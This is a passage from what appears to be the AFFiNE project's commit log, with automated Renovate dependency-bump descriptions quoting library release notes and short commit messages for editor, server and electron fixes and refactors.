-   **Changed generated fragment accessors with inclusion conditions:** When conditionally spreading a fragment with an `@include/@&#8203;skip` directive that has a different parent type than the selection set it is being spread into, the shape of the generated models has changed.
    -   For example, a fragment accessor defined as `... on DetailNode @&#8203;include(if: $includeDetails)` would have previously been named `asDetailNode`; it will now be generated as `asDetailNodeIfIncludeDetails`.
-   While no breaking changes were made to official public APIs, some *underscore prefixed* APIs that are `public` but intended for internal usage only have been changed.
    -   **SelectionSet fulfilled fragment tracking:** `SelectionSet` models now keep track of which fragments were fulfilled during GraphQL execution in order to enable conversions between type cases. While this does not cause functional changes while using public APIs, this is a fundamental change to the way that the underlying data for a `SelectionSet` is formatted, it is now required that all `SelectionSet` creation must be processed by the `GraphQLExecutor` or a generated initializer that is guaranteed to correctly format the data. **This means that initializing a `SelectionSet` using raw JSON data directly will no longer work.** Please ensure that raw JSON data is only used with the new `RootSelectionSet.init(data: variables)` initializer.

##### Fixed

-   **Null/nil value parsing issues**. In some situations, writing/reading `null` or `nil` values to the cache was causing crashes in 1.1 Beta 1. This is now fixed.

##### Added

-   **Configuration option for generating initializers on SelectionSet models:** You can now get initializers for your generated selection set models by setting the `selectionSetInitializers` option on your code generation configuration. Manually initialized selection sets can be used for a number of purposes, including:
    -   Adding custom data to the normalized cache
    -   Setting up fixture data for SwiftUI previews or loading states
    -   An alternative to Test Mocks for unit testing
-   **Safe initialization of `SelectionSet` models with raw JSON:** In 1.0, initializing `SelectionSet` models with raw JSON was unsafe and required usage of *underscore prefixed* APIs that were intended for internal usage only. Apollo iOS 1.1 introduces a new, safe initializer: `RootSelectionSet.init(data: variables)`.
    -   Previously, if you provided invalid JSON, your selection set's were unsafe and may cause crashes when used. The new initializer runs a lightweight version of GraphQL execution over the provided JSON data. This quickly parses, validates, and transforms the JSON data into the format required by the `SelectionSet` models. If the provided data is invalid, this initializer `throws` an error, ensuring that your model usage is always safe.
-   **Added support for multipart subscriptions over HTTP.**

##### Changed

-   **Generate `__typename` selection for generated models:** In 1.1, the code generator adds the `__typename` field to each root object. In previous versions, this selection was automatically inferred by the `GraphQLExecutor`, however generating it directly should improve performance of GraphQL execution.

### [`v1.0.7`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v107)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.0.6...1.0.7)

##### Fixed

-   **Couldn't build when using some reserved words in a schema ([#&#8203;2765](https://redirect.github.com/apollographql/apollo-ios/issues/2765)):** `for` has been added to the list of reserved keywords that are escaped with backticks when used in schema types and operations. [#&#8203;2772](https://redirect.github.com/apollographql/apollo-ios/pull/2772) - *Thank you to [@&#8203;torycons](https://redirect.github.com/torycons) for raising the issue.*
-   **Subscript GraphQL variable from dictionary crash when Swift modifier used as key ([#&#8203;2759](https://redirect.github.com/apollographql/apollo-ios/issues/2759)):** Backticks have been removed from subscript keys of input objects. [#&#8203;2773](https://redirect.github.com/apollographql/apollo-ios/pull/2773) - *Thank you to [@&#8203;SzymonMatysik](https://redirect.github.com/SzymonMatysik) for raising the issue.*
-   **Unnamed fields in schema results in broken generated Swift code ([#&#8203;2753](https://redirect.github.com/apollographql/apollo-ios/issues/2753)):** The `_` character can be used as a GraphQL field name. [#&#8203;2769](https://redirect.github.com/apollographql/apollo-ios/pull/2769) - *Thank you to [@&#8203;neakor](https://redirect.github.com/neakor) for raising the issue.*
-   **LocalCacheMutation with an enum field fails ([#&#8203;2775](https://redirect.github.com/apollographql/apollo-ios/issues/2775)):** When writing selection set data back into the cache, custom scalars are now re-encoded back into their `_jsonValue`. [#&#8203;2778](https://redirect.github.com/apollographql/apollo-ios/pull/2778) - *Thank you to [@&#8203;dabby-wombo](https://redirect.github.com/dabby-wombo) for raising the issue.*
-   **DataDict subscript function crashes on iOS 14.4 and under ([#&#8203;2668](https://redirect.github.com/apollographql/apollo-ios/issues/2668)):** `AnyHashable` conversions when accessing `DataDict` properties now perform checks on the base type. [#&#8203;2784](https://redirect.github.com/apollographql/apollo-ios/pull/2784) - *Thank you to [@&#8203;bdunay3](https://redirect.github.com/bdunay3) for raising the issue.*
-   **`@include` directive based on variable with default value drops the included data ([#&#8203;2690](https://redirect.github.com/apollographql/apollo-ios/issues/2690)):** The GraphQL executor will now correctly evaluate `GraphQLNullable` conditional variables. [#&#8203;2794](https://redirect.github.com/apollographql/apollo-ios/pull/2794) - *Thank you to [@&#8203;klanchman](https://redirect.github.com/klanchman) for raising the issue.*
-   **Interfaces implemented by schema root are not generated ([#&#8203;2756](https://redirect.github.com/apollographql/apollo-ios/issues/2756)):** Interfaces references on the root type Query, Mutation or Subscription are now included in the schema module. [#&#8203;2816](https://redirect.github.com/apollographql/apollo-ios/pull/2816) - *Thank you to [@&#8203;litso](https://redirect.github.com/litso) for raising the issue.*

##### Changed

-   **HTTP headers format in schema download configuration JSON ([#&#8203;2661](https://redirect.github.com/apollographql/apollo-ios/issues/2661)):** `HTTPHeaders` in the `ApolloSchemaDownloadConfiguration` section of the codegen configuration JSON file can now be specified using the more intuitive format `{ "Authorization": "<token>"}`. [#&#8203;2811](https://redirect.g

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-02 12:22:25 +00:00
Saul-Mirone 53f7480cb8 refactor(editor): merge docCreated and docAdded slot (#9489) 2025-01-02 11:47:14 +00:00
Saul-Mirone bae0cc349d chore(editor): remove @types/dompurify dependency (#9490) 2025-01-02 11:33:19 +00:00
Saul-Mirone edb5e1d87a refactor(editor): job should not rely on doc collection directly (#9488) 2025-01-02 10:50:15 +00:00
EYHN f2906bc6d0 refactor(core): add all docs properties api (#9484) 2025-01-02 10:35:46 +00:00
forehalo c4e04042b4 fix(server): fail to load custom config (#9485)
closed #9237 #9417
2025-01-02 09:45:12 +00:00
Lakr 094cb1d71c feat(ios): implement chat function (#9482)
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-01-02 17:35:07 +08:00
Flrande 72e343c379 fix(editor): replace checkVisibility (#9481) 2025-01-02 08:25:48 +00:00
renovate 8c05c6ef5b chore: bump up all non-major dependencies (#9434)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.10` -> `1.0.12`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.10/1.0.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.10/1.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.10/1.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| @&#8203;types/dompurify | [`3.0.5` -> `3.2.0`](https://renovatebot.com/diffs/npm/@types%2fdompurify/3.0.5/3.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.10` -> `20.17.11`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.10/20.17.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.10/20.17.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.10/20.17.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.0.1` -> `16.3.0`](https://renovatebot.com/diffs/npm/happy-dom/16.0.1/16.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.0.1/16.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.0.1/16.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.3.0` -> `15.4.0`](https://renovatebot.com/diffs/npm/react-i18next/15.3.0/15.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.3.0/15.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.3.0/15.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.24.4` -> `1.25.1`](https://renovatebot.com/diffs/npm/shiki/1.24.4/1.25.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.25.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.25.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.24.4/1.25.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.24.4/1.25.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.18.2` -> `8.19.0`](https://renovatebot.com/diffs/npm/typescript-eslint/8.18.2/8.19.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.18.2/8.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.18.2/8.19.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.12`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.12): 1.0.12 (2025-01-01)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.11...v1.0.12)

Update dependencies
remove decamalize and replace with regex
remove unused file

### [`v1.0.11`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.11): 1.0.11 (2024-12-30)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.10...v1.0.11)

rollback to what was in 1.0.9 while trying to keep the intended fix for 1.0.10

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.3.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.3.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.9...v16.3.0)

##### 🎨 Features

-   Adds support for child combinator to ":has()" pseudo selector (e.g. "span:has(> video)") - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1642](https://redirect.github.com/capricorn86/happy-dom/issues/1642)

### [`v16.2.9`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.8...3082b7e010c4362e762d2d387d0316dd96b017cd)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.8...v16.2.9)

### [`v16.2.8`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.2.8)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.7...v16.2.8)

##### 👷‍♂️ Patch fixes

-   Fixes issue where the wrong event target was used when dispatching events on HTMLFormElement or HTMLSelectElement - By **[@&#8203;betterqualityassuranceuser](https://redirect.github.com/betterqualityassuranceuser)** in task [#&#8203;1628](https://redirect.github.com/capricorn86/happy-dom/issues/1628)

### [`v16.2.7`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.6...78eb24034576e4ecc39a3633967799ea75bead50)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.6...v16.2.7)

### [`v16.2.6`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.5...2c8a59619a35b55c398db27927027d9a1458a6a1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.5...v16.2.6)

### [`v16.2.5`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.4...675e306d2440cabdb7e2d75ef5a78ea47e506494)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.4...v16.2.5)

### [`v16.2.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.2.4)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.3...v16.2.4)

##### 👷‍♂️ Patch fixes

-   Fixes bug where the incorrect location is set after a redirect in `BrowserFrame.goto()` and `DetachedBrowserFrame.goto()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1627](https://redirect.github.com/capricorn86/happy-dom/issues/1627)

### [`v16.2.3`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.2...f41ad67816008a068c5cefcbac31b2fda7d2f4e2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.2...v16.2.3)

### [`v16.2.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.2.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.1...v16.2.2)

##### 👷‍♂️ Patch fixes

-   Improves error when a Symbol object is being sent to `querySelector()` or `querySelectorAll()` as selector - By **[@&#8203;chocolateboy](https://redirect.github.com/chocolateboy)** in task [#&#8203;1640](https://redirect.github.com/capricorn86/happy-dom/issues/1640)

### [`v16.2.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.0...f7b6ac6bd6e3cfc843c9787ce935f348f0c40363)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.2.0...v16.2.1)

### [`v16.2.0`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.1.0...5629a74693e19b6a7661a4242b139bf8524c6247)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.1.0...v16.2.0)

### [`v16.1.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.1.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.0.1...v16.1.0)

##### 🎨 Features

-   Add support for using whitespace-separated list to `getElementsByClassName()` - By **[@&#8203;kylehalleman](https://redirect.github.com/kylehalleman)** in task [#&#8203;1551](https://redirect.github.com/capricorn86/happy-dom/issues/1551)

</details>

<details>
<summary>i18next/react-i18next (react-i18next)</summary>

### [`v15.4.0`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1540)

[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.3.0...v15.4.0)

feat: add meta with codes on warnings to allow conditional logging [1826](https://redirect.github.com/i18next/react-i18next/pull/1826)

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v1.25.1`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.25.1)

#####    🐞 Bug Fixes

-   Bundle externals  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(4e173)</samp>](https://redirect.github.com/shikijs/shiki/commit/4e173fe1)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.25.0...v1.25.1)

### [`v1.25.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.25.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.24.4...v1.25.0)

#####    🚀 Features

-   Introduce `@shikijs/themes` and `@shikijs/langs` packages  -  by [@&#8203;antfu](https://redirect.github.com/antfu) in [https://github.com/shikijs/shiki/issues/879](https://redirect.github.com/shikijs/shiki/issues/879) [<samp>(32ce2)</samp>](https://redirect.github.com/shikijs/shiki/commit/32ce29fe)
-   Update grammars and `oniguruma-to-es`  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(3cdcb)</samp>](https://redirect.github.com/shikijs/shiki/commit/3cdcbac4)
-   **engine-js**: Update deps, support new languages  -  by [@&#8203;slevithan](https://redirect.github.com/slevithan) in [https://github.com/shikijs/shiki/issues/875](https://redirect.github.com/shikijs/shiki/issues/875) [<samp>(c3524)</samp>](https://redirect.github.com/shikijs/shiki/commit/c3524b2a)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.24.4...v1.25.0)

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.19.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8190-2024-12-30)

[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.18.2...v8.19.0)

This was a version bump only for typescript-eslint to align it with other projects, there were no code changes.

You can read about our [versioning strategy](https://main--typescript-eslint.netlify.app/users/versioning) and [releases](https://main--typescript-eslint.netlify.app/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-02 07:42:06 +00:00
Saul-Mirone ad422d2f05 refactor(editor): move crud to doc (#9479) 2025-01-02 07:27:08 +00:00
Saul-Mirone be387a6f33 refactor(editor): set readonly (#9475) 2025-01-02 04:02:15 +00:00
forehalo d0983696c0 fix(native): round trip timestamp to millis (#9468) 2025-01-02 02:47:15 +00:00
forehalo 9da2844225 feat(infra): add not-condition to orm (#9466) 2025-01-02 02:32:16 +00:00
Saul-Mirone 4be031b311 chore(editor): disable legacy validation (#9473) 2025-01-01 13:45:37 +00:00
Saul-Mirone 4b21dac4f8 chore: remove unused methods on slot (#9472) 2025-01-01 12:21:41 +00:00
Oleg ade764b188 fix(editor): too many digits after decimal point in table calculations (#9471) 2025-01-01 18:19:59 +08:00
doodlewind 8227d68953 refactor(core): remove abort event error on init (#9465)
Following error always throw on Affine init, which is actually an `Event` from abort controller that can be handled in upstream.

![image](https://github.com/user-attachments/assets/50c25e5e-4a9c-45e0-b756-6b0f47390733)
2025-01-01 01:22:29 +00:00
fundon d97c4b5632 fix(editor): wrong style of mindmap in dark mode (#9462)
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/8ypiIKZXudF5a0tIgIzf/87aa060a-12c3-46dc-85fd-28980ba5b2bd.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/8ypiIKZXudF5a0tIgIzf/87aa060a-12c3-46dc-85fd-28980ba5b2bd.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/87aa060a-12c3-46dc-85fd-28980ba5b2bd.mov">Screen Recording 2024-12-31 at 18.05.36.mov</video>
2024-12-31 11:54:13 +00:00
Saul-Mirone 36c1b103df test(editor): remove jsx snapshot (#9463) 2024-12-31 10:27:12 +00:00
Saul-Mirone 6c33eaace0 refactor(editor): extract frame title widget (#9458) 2024-12-31 10:12:03 +00:00
DarkSky f64d62d869 fix(server): distinguish local mutex correctly (#9444) 2024-12-31 17:55:08 +08:00
pengx17 1c6c2194c4 fix(core): should use doc index for at menu config (#9430) 2024-12-31 09:31:07 +00:00
pengx17 e3d681306c fix(core): split view reordering crash (#9461)
a workaround fix AF-1940
2024-12-31 09:14:04 +00:00
liuyi 43adb85e7d fix(core): wrong fetch injected to snapshot downloader (#9460) 2024-12-31 08:51:19 +00:00
Peng Xiao e8aabed3fa docs(server): update developing server md (#9457) 2024-12-31 16:35:35 +08:00
L-Sun b51de2ac4c fix(editor): add index checking to selected elements array (#9453)
Close https://toeverything.sentry.io/issues/6187666983/?alert_rule_id=15031714&alert_type=issue&notification_uuid=fe3f4b9d-1e86-420e-a715-c3ca0fa932e4&project=4506307500179456&referrer=slack
2024-12-31 08:05:13 +00:00
Saul-Mirone 597b631918 refactor(editor): extract color picker component (#9456) 2024-12-31 07:23:37 +00:00
liuyi 353eaf7fbe chore: no mangle classnames for better debugging (#9459) 2024-12-31 07:22:38 +00:00
Fangdun Tsai 83915c2e90 fix(editor): white-space should be set to normal in tooltip (#9454) 2024-12-31 15:03:58 +08:00
liuyi 8732801f06 fix(core): wrong auth i18n keys (#9455) 2024-12-31 15:03:37 +08:00
Saul-Mirone 9dc1b5e25b refactor(editor): remove duplicated method (#9451) 2024-12-31 06:32:12 +00:00
Saul-Mirone 1e34ec8487 refactor(editor): extract data view block (#9452) 2024-12-31 06:15:35 +00:00
Saul-Mirone 0f03c3fc5e fix(editor): missing resource files in exported snapshot zip (#9450)
Closes: [BS-2280](https://linear.app/affine-design/issue/BS-2280/导出-zip-snapshot-丢失-blob)
2024-12-31 05:13:44 +00:00
forehalo 7aba836dbe fix(server): cant specify subscription to onetime payment (#9448) 2024-12-31 04:51:06 +00:00
Saul-Mirone 09427e846e refactor(editor): extract markdown adapter (#9443) 2024-12-31 04:13:02 +00:00
doodlewind adf14d11d5 fix(editor): chat panel render warning (#9446)
Fixed the updated warning of both `chat-panel` and `chat-panel-messages`

![image](https://github.com/user-attachments/assets/73f30e45-119a-4899-bf05-84f8f64b944b)
2024-12-31 03:59:02 +00:00
CatsJuice 7c41775c7f feat(infra): orm f.enum() support (#9323) 2024-12-31 03:44:58 +00:00
forehalo 9c119e6505 chore: server dev scripts (#9445) 2024-12-31 03:31:05 +00:00
pengx17 887732179e feat(electron): expose electron apis to web worker (#9441)
fix AF-2044
2024-12-31 03:17:03 +00:00
Peng Xiao 6883cc2ded fix(electron): page history api fetch issue (#9440) 2024-12-31 10:19:25 +08:00
doodlewind 2b47625deb refactor(editor): render presentation toolbar on demand (#9442) 2024-12-31 02:01:35 +00:00
pengx17 79e006467c fix(core): split view solo view crash (#9432) 2024-12-30 16:54:45 +00:00
Saul-Mirone 397a48380e refactor(editor): simplify tsconfig (#9439) 2024-12-30 16:15:34 +00:00
Saul-Mirone 8d269c838d fix(editor): touch event browser copability (#9437)
Fix: https://toeverything.sentry.io/issues/6180659644/events/82bf2e7bb8fc4ad69678261522b7fdf3/
2024-12-30 14:59:10 +00:00
Saul-Mirone ade317d26b fix(editor): caret can be null in firefox (#9438)
Fix: https://toeverything.sentry.io/issues/6185588184/events/b205b6caf0224b51882c1d10bb3dd9bc/
2024-12-30 14:44:11 +00:00
Saul-Mirone a9f890017e fix(editor): missing dependencies (#9436) 2024-12-30 14:10:37 +00:00
Saul-Mirone c28f918527 refactor(editor): extract database block (#9435)
Part of: [BS-2269](https://linear.app/affine-design/issue/BS-2269/%E8%BF%81%E7%A7%BB-database-block-%E5%88%B0-affine-%E6%96%87%E4%BB%B6%E5%A4%B9%E4%B8%8B%E5%B9%B6%E5%BC%80%E5%90%AF-nouncheckedindexedaccess)
2024-12-30 12:59:57 +00:00
Saul-Mirone e526106f45 refactor(editor): extract surface ref block (#9433) 2024-12-30 12:09:26 +00:00
doodlewind d4053a345e perf(editor): reduce per frame viewport dom ops (#9431)
Currently when panning / zooming on whiteboard, both position and transform of each block component are updated per frame. The positioning part lead to heavy layout costs, which can be reduced.

Before (~35fps):

![image](https://github.com/user-attachments/assets/3f6d8a76-26a5-4ed6-a64c-b519a453cbc0)

After (~50fps):

![image](https://github.com/user-attachments/assets/43bc4b0a-db01-4526-8400-2ec95c3bdd0b)

Tested environment: TibetTravel templet, Windows 11, i5-1130G7 1.1GHz
2024-12-30 10:50:33 +00:00
LongYinan 8b3d99929f ci: fix Windows Rust cache path 2024-12-30 18:49:27 +08:00
renovate a85707a2e7 chore: bump up oxlint version to v0.15.4 (#9161)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.0` -> `0.15.4`](https://renovatebot.com/diffs/npm/oxlint/0.15.0/0.15.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.0/0.15.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.0/0.15.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.4`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.4): oxlint v0.15.4

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.3...oxlint_v0.15.4)

#### \[0.15.4] - 2024-12-30

-   [`ed75e42`](https://redirect.github.com/oxc-project/oxc/commit/ed75e42) semantic: \[**BREAKING**] Make SymbolTable fields `pub(crate)` instead of `pub` ([#&#8203;7999](https://redirect.github.com/oxc-project/oxc/issues/7999)) (Boshen)

##### Features

-   [`47cea9a`](https://redirect.github.com/oxc-project/oxc/commit/47cea9a) linter: Implement `eslint/no-extra-label` ([#&#8203;8181](https://redirect.github.com/oxc-project/oxc/issues/8181)) (Anson Heung)
-   [`ef76e28`](https://redirect.github.com/oxc-project/oxc/commit/ef76e28) linter: Implement `eslint/no-multi-assign` ([#&#8203;8158](https://redirect.github.com/oxc-project/oxc/issues/8158)) (Anson Heung)
-   [`384858b`](https://redirect.github.com/oxc-project/oxc/commit/384858b) linter: Implement `jsx-a11y/no-noninteractive-tabindex`  ([#&#8203;8167](https://redirect.github.com/oxc-project/oxc/issues/8167)) (Tyler Earls)
-   [`afc21a6`](https://redirect.github.com/oxc-project/oxc/commit/afc21a6) linter: Implement `eslint/vars-on-top` ([#&#8203;8157](https://redirect.github.com/oxc-project/oxc/issues/8157)) (Yuichiro Yamashita)
-   [`65796c4`](https://redirect.github.com/oxc-project/oxc/commit/65796c4) linter: Implement `eslint/prefer-rest-params` ([#&#8203;8155](https://redirect.github.com/oxc-project/oxc/issues/8155)) (Yuichiro Yamashita)
